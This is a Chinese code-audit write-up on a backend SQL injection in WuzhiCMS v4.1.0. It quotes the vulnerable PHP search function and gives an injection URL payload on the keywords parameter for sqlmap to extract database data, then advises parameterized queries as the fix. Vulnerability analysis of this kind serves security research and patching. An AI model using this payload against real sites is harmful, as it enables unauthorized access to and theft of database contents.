【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析

 

0x00 环境准备

五指CMS官网:https://www.wuzhicms.com/

网站源码版本:五指CMS v4.1.0 UTF-8 开源版

程序源码下载:https://www.wuzhicms.com/download/

测试网站首页:

 

0x01 代码分析

1、漏洞文件位置:/coreframe/app/promote/admin/index.php 第42-60行:

  1. public function search() {  
  2.     $siteid = get_cookie('siteid');  
  3.     $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;  
  4.     $page = max($page,1);  
  5.     $fieldtype = $GLOBALS['fieldtype'];  
  6.     $keywords = $GLOBALS['keywords'];  
  7.     if($fieldtype=='place') {  
  8.         $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";  
  9.         $result = $this->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');  
  10. 10.         $pages = $this->db->pages;  
  11. 11.         $total = $this->db->number;  
  12. 12.         include $this->template('listingplace');  
  13. 13.     } else {  
  14. 14.         $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";  
  15. 15.         $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');  
  16. 16.         $pages = $this->db->pages;  
  17. 17.         $total = $this->db->number;  
  18. 18.         include $this->template('listing');  
  19. 19.     }  

这段函数将获取到的keywords参数拼接到SQL语句,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

0x02 漏洞利用

1、构造url链接,使用SQLMAP可获取数据库敏感数据。

Payload:

http://127.0.0.1/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23

 

0x03 修复建议

使用参数化查询可有效避免SQL注入

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自www.cnblogs.com/xiaozi/p/10053555.html